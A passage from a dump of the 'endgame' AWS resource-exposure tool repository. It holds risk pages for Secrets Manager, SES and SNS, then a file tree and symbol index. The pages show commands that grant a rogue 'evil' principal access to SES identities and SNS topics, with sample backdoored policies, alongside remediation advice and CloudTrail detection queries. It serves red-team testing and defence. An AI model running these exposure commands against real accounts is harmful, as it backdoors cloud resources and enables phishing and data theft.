- [secretsmanager:DeleteResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_DeleteResourcePolicy.html): _Enables the user to delete the resource policy attached to a secret._
- [secretsmanager:GetResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetResourcePolicy.html): _Enables the user to get the resource policy attached to a secret._
- [secretsmanager:ListSecrets](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_ListSecrets.html): _Enables the user to list the available secrets._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='secretsmanager.amazonaws.com' AND (eventName='PutResourcePolicy' or eventName='DeleteResourcePolicy')
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='secretsmanager.amazonaws.com' AND (eventName='PutResourcePolicy' and requestParameters.resourcePolicy like 'Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [aws secretsmanager get-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-resource-policy.html)
* [aws secretsmanager get-secret-value](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-secret-value.html)
* [aws secretsmanager put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html)
================================================
FILE: docs/risks/ses.md
================================================
# SES Sender Authorization Policies
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
SES Sending Authorization Policies can be used to add a rogue IAM user as a [Delegate sender](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-delegate-sender-tasks.html). This can result in a malicous user sending an email on behalf of your organization, which could lead to phishing attacks against customers or employees, as well as a loss of consumer trust and reputation loss.
### How it works
Sending authorization is based on sending authorization policies. If you want to enable a delegate sender to send on your behalf, you create a sending authorization policy and associate the policy to your identity by using the Amazon SES console or the Amazon SES API.
When Amazon SES receives the request to send the email, it checks your identity's policy (if present) to determine if you have authorized **the delegate sender** to send on the identity's behalf. If the delegate sender is authorized, Amazon SES accepts the email.
This can be abused by adding a rogue user as a [Delegate sender](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-delegate-sender-tasks.html).
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service ses --name test-resource-exposure.com
```
* To verify that the sender authorization policy has been set to allow actions from the rogue user, run the following command from the victim account:
```bash
aws ses list-identity-policies --identity test-resource-exposure.com
```
The command above will return the following:
```bash
{
"PolicyNames": [
"Endgame"
]
}
```
* Take the response from the command above - `Endgame` - and list the policy name in the command below
```bash
aws ses get-identity-policies --identity test-resource-exposure.com --policy-names "Endgame"
```
* Observe that the contents match the example shown below
## Example
The policy below allows the Evil Principal (`arn:aws:iam::999988887777:user/evil` access to `ses:*` to the victim resource (`arn:aws:ses:us-east-1:111122223333:identity/test-resource-exposure.com`), indicating a successful compromise.
```json
{
"Policies": {
"Endgame": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::111122223333:root\"},\"Action\":\"ses:*\",\"Resource\":\"arn:aws:ses:us-east-1:111122223333:identity/test-resource-exposure.com\"},{\"Sid\":\"Endgame\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:user/evil\"},\"Action\":\"ses:*\",\"Resource\":\"arn:aws:ses:us-east-1:111122223333:identity/test-resource-exposure.com\"}]}"
}
}
```
## Exploitation
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool.
* **Trusted Accounts Only**: Ensure that SES Authorization Policies only authorize specific delegate senders according to your design.
* **Ensure access is necessary**: For any delegate senders that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to manipulation of your SES Sender Authorization Policies**: Tightly control access to the following IAM actions:
- [ses:PutIdentityPolicy](https://docs.aws.amazon.com/ses/latest/APIReference/API_PutIdentityPolicy.html): _Adds or updates a sending authorization policy for the specified identity (an email address or a domain)_
- [ses:DeleteIdentityPolicy](https://docs.aws.amazon.com/ses/latest/APIReference/API_DeleteIdentityPolicy.html): _Deletes the policy associated with the identity_
- [ses:GetIdentityPolicies](https://docs.aws.amazon.com/ses/latest/APIReference/API_GetIdentityPolicies.html): _Returns the requested sending authorization policies for the given identity (an email address or a domain)_
- [ses:ListIdentities](https://docs.aws.amazon.com/ses/latest/APIReference/API_ListIdentities.html): _Returns a list containing all of the identities (email addresses and domains) for your AWS account, regardless of verification status _
- [ses:ListIdentityPolicies](https://docs.aws.amazon.com/ses/latest/APIReference/API_ListIdentityPolicies.html): _Returns a list of sending authorization policies that are attached to the given identity (an email address or a domain)_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ses.amazonaws.com' AND (eventName='PutIdentityPolicy' or eventName='DeleteIdentityPolicy')
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ses.amazonaws.com' AND (eventName='PutIdentityPolicy' and requestParameters.policyName='Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [put-identity-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ses/put-identity-policy.html)
* [Sending Authorization Overview](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-overview.html)
* [Sending Authorization Policy Examples](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-policy-examples.html)
* [Delegate sender](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/sending-authorization-delegate-sender-tasks.html)
================================================
FILE: docs/risks/sns.md
================================================
# SNS Topics
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service sns --name test-resource-exposure
```
* To verify that the SNS topic has been shared with the evil principal, run the following from the victim account:
```bash
export VICTIM_RESOURCE=arn:aws:sns:us-east-1:111122223333:test-resource-exposure
aws sns get-topic-attributes \
--topic-arn $VICTIM_RESOURCE
```
* Observe that the contents match the example shown below.
## Example
The output will have the following structure:
```json
{
"Attributes": {
"SubscriptionsConfirmed": "1",
"DisplayName": "my-topic",
"SubscriptionsDeleted": "0",
"EffectiveDeliveryPolicy": "",
"Owner": "111122223333",
"Policy": "SeeBelow",
"TopicArn": "arn:aws:sns:us-east-1:111122223333:test-resource-exposure",
"SubscriptionsPending": "0"
}
}
```
The prettified version of the `Policy` key is below. Observe how the content of the policy grants the evil principal's account ID (`999988887777`) maximum access to the SNS topic.
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "Endgame",
"Effect": "Allow",
gitextract_q2x_aiiz/
├── .github/
│ ├── PULL_REQUEST_TEMPLATE
│ ├── release-drafter.yml
│ └── workflows/
│ ├── ci.yml
│ ├── publish.yml
│ └── release-drafter.yml
├── .gitignore
├── .pylintrc
├── .readthedocs.yml
├── CODE_OF_CONDUCT.md
├── HomebrewFormula/
│ └── endgame.rb
├── LICENSE
├── Makefile
├── README.md
├── SECURITY.md
├── docs/
│ ├── appendices/
│ │ ├── acm-pca-activation.md
│ │ ├── faq.md
│ │ ├── permissions-management-actions.md
│ │ ├── roadmap.md
│ │ └── terraform-demo-infrastructure.md
│ ├── contributing/
│ │ ├── contributing.md
│ │ └── testing.md
│ ├── custom.css
│ ├── detection.md
│ ├── iam-permissions.md
│ ├── index.md
│ ├── installation.md
│ ├── prevention.md
│ ├── recommendations-to-aws.md
│ ├── requirements-docs.txt
│ ├── resource-policy-primer.md
│ ├── risks/
│ │ ├── acm-pca.md
│ │ ├── amis.md
│ │ ├── ebs.md
│ │ ├── ecr.md
│ │ ├── efs.md
│ │ ├── es.md
│ │ ├── glacier.md
│ │ ├── iam-roles.md
│ │ ├── kms.md
│ │ ├── lambda-functions.md
│ │ ├── lambda-layers.md
│ │ ├── logs.md
│ │ ├── rds-snapshots.md
│ │ ├── s3.md
│ │ ├── secretsmanager.md
│ │ ├── ses.md
│ │ ├── sns.md
│ │ └── sqs.md
│ └── tutorial.md
├── endgame/
│ ├── __init__.py
│ ├── bin/
│ │ ├── __init__.py
│ │ ├── cli.py
│ │ └── version.py
│ ├── command/
│ │ ├── __init__.py
│ │ ├── expose.py
│ │ ├── list_resources.py
│ │ └── smash.py
│ ├── exposure_via_aws_ram/
│ │ ├── README.md
│ │ └── __init__.py
│ ├── exposure_via_resource_policies/
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── acm_pca.py
│ │ ├── cloudwatch_logs.py
│ │ ├── common.py
│ │ ├── ecr.py
│ │ ├── efs.py
│ │ ├── elasticsearch.py
│ │ ├── glacier_vault.py
│ │ ├── iam.py
│ │ ├── kms.py
│ │ ├── lambda_function.py
│ │ ├── lambda_layer.py
│ │ ├── s3.py
│ │ ├── secrets_manager.py
│ │ ├── ses.py
│ │ ├── sns.py
│ │ └── sqs.py
│ ├── exposure_via_sharing_apis/
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── common.py
│ │ ├── ebs_snapshots.py
│ │ ├── ec2_amis.py
│ │ └── rds_snapshots.py
│ └── shared/
│ ├── __init__.py
│ ├── aws_login.py
│ ├── constants.py
│ ├── list_resources_response.py
│ ├── policy_document.py
│ ├── resource_results.py
│ ├── response_message.py
│ ├── scary_warnings.py
│ ├── statement_detail.py
│ ├── utils.py
│ └── validate.py
├── mkdocs.yml
├── requirements-dev.txt
├── requirements.txt
├── setup.cfg
├── setup.py
├── tasks.py
├── terraform/
│ ├── acm-pca/
│ │ ├── acm_pca.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── all.tf
│ ├── cloudwatch-resource-policy/
│ │ └── main.tf
│ ├── ebs-snapshot/
│ │ ├── ebs.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── ec2-ami/
│ │ ├── ami.tf
│ │ ├── output.tf
│ │ └── variables.tf
│ ├── ecr-repository/
│ │ ├── ecr.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── efs-file-system/
│ │ ├── efs.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── elasticsearch-domain/
│ │ ├── es.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── glacier-vault/
│ │ ├── glacier.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── iam-role/
│ │ ├── outputs.tf
│ │ ├── role.tf
│ │ └── variables.tf
│ ├── lambda-function/
│ │ ├── lambda.py
│ │ ├── lambda_function.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── lambda-layer/
│ │ ├── layer.tf
│ │ ├── outputs.tf
│ │ ├── python/
│ │ │ └── custom_func.py
│ │ └── variables.tf
│ ├── provider.tf
│ ├── rds-cluster-snapshot/
│ │ ├── cluster_snapshot.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── rds-snapshot/
│ │ ├── db_snapshot.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── s3-bucket/
│ │ ├── bucket.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── secrets-manager/
│ │ ├── outputs.tf
│ │ ├── secrets-manager.tf
│ │ └── variables.tf
│ ├── ses-domain-identity/
│ │ ├── outputs.tf
│ │ ├── ses.tf
│ │ └── variables.tf
│ ├── sns-topic/
│ │ ├── outputs.tf
│ │ ├── sns.tf
│ │ └── variables.tf
│ ├── sqs-queue/
│ │ ├── outputs.tf
│ │ ├── sqs.tf
│ │ └── variables.tf
│ └── variables.tf
└── test/
├── __init__.py
├── command/
│ ├── __init__.py
│ ├── test_expose.py
│ ├── test_list_resources.py
│ └── test_smash.py
├── exposure_via_resource_policies/
│ ├── README.md
│ ├── __init__.py
│ ├── test_ecr.py
│ ├── test_glacier.py
│ ├── test_iam.py
│ ├── test_kms.py
│ ├── test_s3.py
│ ├── test_secrets_manager.py
│ ├── test_ses.py
│ ├── test_sns.py
│ └── test_sqs.py
└── shared/
├── __init__.py
├── test_policy_document.py
├── test_resource_results.py
├── test_statement_detail.py
├── test_utils.py
└── test_validate.py
SYMBOL INDEX (378 symbols across 57 files)
FILE: HomebrewFormula/endgame.rb
class Endgame (line 1) | class Endgame < Formula
method install (line 106) | def install
FILE: endgame/__init__.py
function set_stream_logger (line 9) | def set_stream_logger(name="endgame", level=logging.DEBUG, format_string...
function set_log_level (line 37) | def set_log_level(verbose):
FILE: endgame/bin/cli.py
function endgame (line 9) | def endgame():
function main (line 20) | def main():
FILE: endgame/command/expose.py
function expose (line 99) | def expose(name, evil_principal, profile, service, region, dry_run, undo...
function expose_service (line 151) | def expose_service(
function print_diff_messages (line 215) | def print_diff_messages(response_message: ResponseMessage, verbosity: int):
FILE: endgame/command/list_resources.py
function list_resources (line 73) | def list_resources(service, profile, region, cloak, excluded_names, excl...
FILE: endgame/command/smash.py
function smash (line 104) | def smash(service, evil_principal, profile, region, dry_run, undo, cloak...
function smash_resource (line 178) | def smash_resource(
FILE: endgame/exposure_via_resource_policies/acm_pca.py
class AcmPrivateCertificateAuthority (line 25) | class AcmPrivateCertificateAuthority(ResourceType, ABC):
method __init__ (line 26) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 38) | def arn(self) -> str:
method _get_rbp (line 42) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 70) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method add_myself (line 86) | def add_myself(self, evil_principal: str, dry_run: bool = False) -> Re...
method undo (line 149) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
class AcmPrivateCertificateAuthorities (line 176) | class AcmPrivateCertificateAuthorities(ResourceTypes):
method __init__ (line 177) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 183) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/cloudwatch_logs.py
class CloudwatchResourcePolicy (line 17) | class CloudwatchResourcePolicy(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 30) | def arn(self) -> str:
method policy_exists (line 34) | def policy_exists(self):
method _get_rbp (line 45) | def _get_rbp(self) -> ResponseGetRbp:
method add_myself (line 86) | def add_myself(self, evil_principal: str, dry_run: bool = False) -> Re...
method set_rbp (line 119) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method undo (line 143) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
class CloudwatchResourcePolicies (line 169) | class CloudwatchResourcePolicies(ResourceTypes):
method __init__ (line 170) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 176) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/common.py
class ResourceType (line 15) | class ResourceType(object):
method __init__ (line 18) | def __init__(
method __str__ (line 47) | def __str__(self):
method _get_rbp (line 51) | def _get_rbp(self) -> ResponseGetRbp:
method arn (line 56) | def arn(self) -> str:
method set_rbp (line 60) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method add_myself (line 63) | def add_myself(self, evil_principal: str, dry_run: bool = False) -> Re...
method undo (line 93) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
class ResourceTypes (line 119) | class ResourceTypes(object):
method __init__ (line 122) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method __str__ (line 127) | def __str__(self):
method resources (line 132) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/ecr.py
class EcrRepository (line 17) | class EcrRepository(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 29) | def arn(self) -> str:
method _get_rbp (line 32) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 61) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class EcrRepositories (line 79) | class EcrRepositories(ResourceTypes):
method __init__ (line 80) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 86) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/efs.py
class ElasticFileSystem (line 17) | class ElasticFileSystem(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 30) | def arn(self) -> str:
method _get_rbp (line 34) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 59) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class ElasticFileSystems (line 77) | class ElasticFileSystems(ResourceTypes):
method __init__ (line 78) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 84) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/elasticsearch.py
class ElasticSearchDomain (line 18) | class ElasticSearchDomain(ResourceType, ABC):
method __init__ (line 19) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 28) | def arn(self) -> str:
method _get_rbp (line 31) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 59) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class ElasticSearchDomains (line 77) | class ElasticSearchDomains(ResourceTypes):
method __init__ (line 78) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 84) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/glacier_vault.py
class GlacierVault (line 17) | class GlacierVault(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 28) | def arn(self) -> str:
method _get_rbp (line 31) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 58) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class GlacierVaults (line 76) | class GlacierVaults(ResourceTypes):
method __init__ (line 77) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 83) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/iam.py
class IAMRole (line 17) | class IAMRole(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 33) | def arn(self) -> str:
method _get_rbp (line 36) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 62) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class IAMRoles (line 80) | class IAMRoles(ResourceTypes):
method __init__ (line 81) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 87) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/kms.py
class KmsKey (line 19) | class KmsKey(ResourceType, ABC):
method __init__ (line 20) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 37) | def arn(self) -> str:
method _get_key_id_with_alias (line 40) | def _get_key_id_with_alias(self, name: str, client: boto3.Session.clie...
method _get_rbp (line 46) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 73) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class KmsKeys (line 92) | class KmsKeys(ResourceTypes):
method __init__ (line 93) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 100) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/lambda_function.py
class LambdaFunction (line 18) | class LambdaFunction(ResourceType, ABC):
method __init__ (line 19) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 28) | def arn(self) -> str:
method _get_rbp (line 31) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 57) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method undo (line 97) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
class LambdaFunctions (line 128) | class LambdaFunctions(ResourceTypes):
method __init__ (line 129) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 135) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/lambda_layer.py
class LambdaLayer (line 19) | class LambdaLayer(ResourceType, ABC):
method __init__ (line 20) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 28) | def arn(self) -> str:
method arn_without_version (line 32) | def arn_without_version(self) -> str:
method _get_rbp (line 35) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 60) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method undo (line 110) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
class LambdaLayers (line 141) | class LambdaLayers(ResourceTypes):
method __init__ (line 142) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method layers (line 148) | def layers(self):
method layer_version_arns (line 162) | def layer_version_arns(self, layer_name):
method resources (line 180) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/s3.py
class S3Bucket (line 16) | class S3Bucket(ResourceType, ABC):
method __init__ (line 17) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 26) | def arn(self) -> str:
method _get_rbp (line 29) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 63) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class S3Buckets (line 80) | class S3Buckets(ResourceTypes):
method __init__ (line 81) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 87) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/secrets_manager.py
class SecretsManagerSecret (line 17) | class SecretsManagerSecret(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 27) | def arn(self) -> str:
method _get_rbp (line 30) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 55) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
class SecretsManagerSecrets (line 72) | class SecretsManagerSecrets(ResourceTypes):
method __init__ (line 73) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 79) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/ses.py
class SesIdentityPolicy (line 17) | class SesIdentityPolicy(ResourceType, ABC):
method __init__ (line 18) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 30) | def arn(self) -> str:
method _identity_policy_names (line 33) | def _identity_policy_names(self) -> list:
method _get_rbp (line 42) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 75) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method undo (line 92) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
class SesIdentityPolicies (line 128) | class SesIdentityPolicies(ResourceTypes):
method __init__ (line 129) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 135) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/sns.py
class SnsTopic (line 34) | class SnsTopic(ResourceType, ABC):
method __init__ (line 35) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 49) | def arn(self) -> str:
method _get_rbp (line 52) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 83) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method undo (line 122) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
method sns_actions_without_prefixes (line 149) | def sns_actions_without_prefixes(self, actions_with_service_prefix):
class SnsTopics (line 170) | class SnsTopics(ResourceTypes):
method __init__ (line 171) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 177) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_resource_policies/sqs.py
class SqsQueue (line 19) | class SqsQueue(ResourceType, ABC):
method __init__ (line 20) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 34) | def arn(self) -> str:
method _queue_url (line 37) | def _queue_url(self) -> str:
method _get_rbp (line 44) | def _get_rbp(self) -> ResponseGetRbp:
method set_rbp (line 72) | def set_rbp(self, evil_policy: dict) -> ResponseMessage:
method undo (line 114) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
method sqs_actions_without_prefixes (line 140) | def sqs_actions_without_prefixes(self, actions_with_service_prefix):
class SqsQueues (line 160) | class SqsQueues(ResourceTypes):
method __init__ (line 161) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 167) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_sharing_apis/common.py
class ResponseGetSharingApi (line 8) | class ResponseGetSharingApi:
method __init__ (line 9) | def __init__(
method updated_policy_sids (line 35) | def updated_policy_sids(self) -> list:
method original_policy_sids (line 39) | def original_policy_sids(self) -> list:
method added_sids (line 43) | def added_sids(self) -> list:
method removed_sids (line 50) | def removed_sids(self) -> list:
class ResourceSharingApi (line 57) | class ResourceSharingApi(object):
method __init__ (line 60) | def __init__(
method arn (line 80) | def arn(self) -> str:
method _get_shared_with_accounts (line 84) | def _get_shared_with_accounts(self) -> ResponseGetSharingApi:
method share (line 88) | def share(self, accounts_to_add: list, accounts_to_remove: list) -> Re...
method add_myself (line 92) | def add_myself(self, evil_policy: dict) -> ResponseGetSharingApi:
method undo (line 96) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
FILE: endgame/exposure_via_sharing_apis/ebs_snapshots.py
class EbsSnapshot (line 14) | class EbsSnapshot(ResourceSharingApi, ABC):
method __init__ (line 15) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 24) | def arn(self) -> str:
method _get_shared_with_accounts (line 27) | def _get_shared_with_accounts(self) -> ResponseGetSharingApi:
method share (line 56) | def share(self, accounts_to_add: list, accounts_to_remove: list) -> Re...
method add_myself (line 105) | def add_myself(self, evil_principal: str, dry_run: bool = False) -> Re...
method undo (line 134) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
method parse_evil_principal (line 158) | def parse_evil_principal(self, evil_principal: str) -> str:
class EbsSnapshots (line 170) | class EbsSnapshots(ResourceTypes):
method __init__ (line 171) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 177) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_sharing_apis/ec2_amis.py
class Ec2Image (line 14) | class Ec2Image(ResourceSharingApi, ABC):
method __init__ (line 15) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 24) | def arn(self) -> str:
method _get_shared_with_accounts (line 27) | def _get_shared_with_accounts(self) -> ResponseGetSharingApi:
method share (line 56) | def share(self, accounts_to_add: list, accounts_to_remove: list) -> Re...
method add_myself (line 103) | def add_myself(self, evil_principal: str, dry_run: bool = False) -> Re...
method undo (line 132) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
method parse_evil_principal (line 156) | def parse_evil_principal(self, evil_principal: str) -> str:
class Ec2Images (line 168) | class Ec2Images(ResourceTypes):
method __init__ (line 169) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 175) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/exposure_via_sharing_apis/rds_snapshots.py
class RdsSnapshot (line 14) | class RdsSnapshot(ResourceSharingApi, ABC):
method __init__ (line 15) | def __init__(self, name: str, region: str, client: boto3.Session.clien...
method arn (line 24) | def arn(self) -> str:
method _get_shared_with_accounts (line 27) | def _get_shared_with_accounts(self) -> ResponseGetSharingApi:
method share (line 51) | def share(self, accounts_to_add: list, accounts_to_remove: list) -> Re...
method add_myself (line 81) | def add_myself(self, evil_principal: str, dry_run: bool = False) -> Re...
method undo (line 110) | def undo(self, evil_principal: str, dry_run: bool = False) -> Response...
method parse_evil_principal (line 134) | def parse_evil_principal(self, evil_principal: str) -> str:
class RdsSnapshots (line 146) | class RdsSnapshots(ResourceTypes):
method __init__ (line 147) | def __init__(self, client: boto3.Session.client, current_account_id: s...
method resources (line 153) | def resources(self) -> [ListResourcesResponse]:
FILE: endgame/shared/aws_login.py
function get_boto3_client (line 9) | def get_boto3_client(profile, service: str, region="us-east-1", cloak: b...
function get_current_account_id (line 28) | def get_current_account_id(sts_client: boto3.Session.client) -> str:
function get_available_regions (line 34) | def get_available_regions(service: str):
FILE: endgame/shared/constants.py
function get_empty_policy (line 60) | def get_empty_policy():
FILE: endgame/shared/list_resources_response.py
class ListResourcesResponse (line 7) | class ListResourcesResponse:
method __init__ (line 8) | def __init__(self, service: str, arn: str, name: str, resource_type: s...
FILE: endgame/shared/policy_document.py
class PolicyDocument (line 7) | class PolicyDocument:
method __init__ (line 11) | def __init__(
method __str__ (line 32) | def __str__(self):
method __repr__ (line 35) | def __repr__(self):
method _statements (line 38) | def _statements(self, statement_structure) -> [StatementDetail]:
method sids (line 53) | def sids(self):
method json (line 60) | def json(self):
method statement_allow_account_id (line 70) | def statement_allow_account_id(
method policy_plus_evil_principal (line 112) | def policy_plus_evil_principal(
method policy_minus_evil_principal (line 158) | def policy_minus_evil_principal(
function get_resource_from_override_settings (line 194) | def get_resource_from_override_settings(resource_arn: str, override_reso...
